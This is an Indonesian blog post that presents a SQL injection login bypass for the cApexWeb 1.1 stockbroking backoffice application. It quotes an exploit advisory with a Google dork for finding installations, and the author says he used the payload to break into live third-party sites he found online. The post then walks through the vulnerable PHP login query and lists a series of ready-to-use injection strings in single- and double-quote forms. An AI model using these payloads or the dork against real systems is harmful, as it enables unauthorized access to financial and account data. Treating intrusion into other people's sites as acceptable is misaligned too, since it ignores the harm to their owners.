Proof Of Concept (POC) bypass Login in cApexWeb 1.1

Hari ini kita akan membahas mengenai bypass login di cApexWeb ver 5.1 Build : 11083. Sebelumnya ane dapet vulnerability ini dari situs Exploit-id nah disitu ternyata ada notenya bahwa disini pada cApexWeb 1.1 ada lubang yg bisa ditembus yaitu dengan bypass login nih notenya.

# Exploit Title: Capexweb Sql Vulnerable
# Date: 15 Dec 2011
# Author: D1rt3 Dud3
# Google Dork: inurl:capexweb
# Gr33ts: Th3 RDX
# Version: 1.1
# Description: Capexweb is Web based Backoffice client used by leading Stock Exchanges like Berkeley Gains, angle broking house etc.
 
http://localhost:8080/capexweb/capexweb/
 
 
Log in details:
Username: x'or'x'='x

Password: x'or'x'='x


Habis itu coba ane searching di google ternyata banyak juga ya yang memakai cApexWeb ini "Sekitar 8,580 hasil (0.23 detik)" itu hasil yang gue dapet di google. Nah ane coba buka satu persatu nih. Dan ternyata...... BERHASIL..... nih screen shotnya.










Lalu bagaimana ini bisa terjadi ?? ini sebenernya hal yang sudah jadul tapi masih bermanfaat di era sekarang ini. Ini murni mungkin kesalah dari script login yang ada pada versi web tersebut.


 berikut contoh sebuah command login.


Code: [Select]

$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";

pada login yang valid (dari admin beneran), query akan menjadi seperti ini:

Code: [Select]

$query = "select * from user where username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'";

query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password dlfjoew8r509ewrjeowru94efjlsj ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.

Code: [Select]

username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'

kedua hal tersebut adalah statement yg di cek oleh query mysql.

namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1

Code: [Select]

OR 1=1sehingga, kita perlu membuat query menjadi seperti ini :

Code: [Select]

$query = "select * from user where username='admin' OR 1=1 AND password='dlfjoew8r509ewrjeowru94efjlsj' OR 1=1";

sehingga, user yg perlu kita masukan adalah :   admin' OR 1=1

beberapa admin yg cukup pintar, sudah membuat script query nya lengkap dengan tnda petik untuk menghindari error.

Code: [Select]

$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";

sehingga, dengan user : admin' OR 1=1        query akan menjadi seperti ini:

Code: [Select]

$query = "select * from user where username='admin' OR 1=1' AND password='".md5($_POST['pass'])."'";

apa yg terjadi? query error karena kelebihan 1 tanda petik (lihat di belakang angka 1). dan tentu saja return yg di berikan tidak akan true. otomatis login gagal. untuk itu, kita perlu men-terminate script query tersebut. yaitu dengan memberikan comment mysql: --

Sehingga, user yg bisa kita masukkan adalah: admin' or 1=1--

Code: [Select]

$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";

dengan demikian, pengecekan di belakang coment akan di lewati. dan return dari query akan selalu true. perhatikan hukum logika berikut pada argument AND:

Code: [Select]

true AND true = true
true AND false = false
false AND false = false
false AND true = false


"AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.

namun, berbeda dengan OR.

Code: [Select]

true OR true = true
true OR false = true
false OR true = true
false OR false =  false


jika salah satu TRUE, maka return akan memberikan TRUE.

nah, perhatikan query setellah di inject:

Code: [Select]

$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";

1=1 ----> true

admin OR true = true

walapun user admin tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).

kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--

Code: [Select]

$query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";

hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.

dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal

Code: [Select]

a' or 'a'='adengan demikian, kita telah memanipulasi query menjadi seperti ini:

Code: [Select]

$query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";

tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.

berbagai variasi injeksi login seperti berikut:

Code: [Select]

' or 1=1
' or '1'='1'
1' or 1=1
1' or '1'='1'
' or 'z'='z
dll, sesuai kreasi kita.


beberapa admin ada yg biasa menggunakan petik ganda dalam codingnya.

Code: [Select]

$query = 'select * from user where username="admin" or 1=1-- AND password="'.md5($_POST["pass"]).'"';hal tersebut sah sah aja, karena penggunaan tanda baca masih tepat. dengan demikian, injeksi akan sedikit berubah.

Code: [Select]

" or 1=1
" or "1"="1
a" or "a"="a
" or "a"="a


pengethuan tentang query mysql sangat penting dalam hal ini. sehingga kita bisa memanipulasi, memainkan injeksi untuk membypass login admin. karena, administrator biasanya berbeda orang berbeda pula cara coding. sehingga berbagai variasi injeksi akan sangat mungkin terjadi.

referensi dari X-Crew



Thanks buat temen2 yang sudah mau membaca artikel jelek ini. Semoga bermanfaat. Jangan lupa lempar yah komentarnya.... 

Leave a Reply

Your email address will not be published. Required fields are marked *